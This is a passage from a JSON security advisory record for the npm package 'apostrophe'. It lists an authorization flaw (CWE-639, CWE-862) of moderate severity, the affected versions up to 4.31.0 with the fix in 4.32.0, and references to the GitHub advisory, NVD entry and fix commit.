    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "apostrophe"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.32.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.31.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-wr5r-wqp2-x4fh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63669"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/commit/d50c6ad61b9c1788958752358f1fca714cc8368c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-03T20:05:08Z",
    "nvd_published_at" : "2026-08-17T20:16:44Z"
  }
}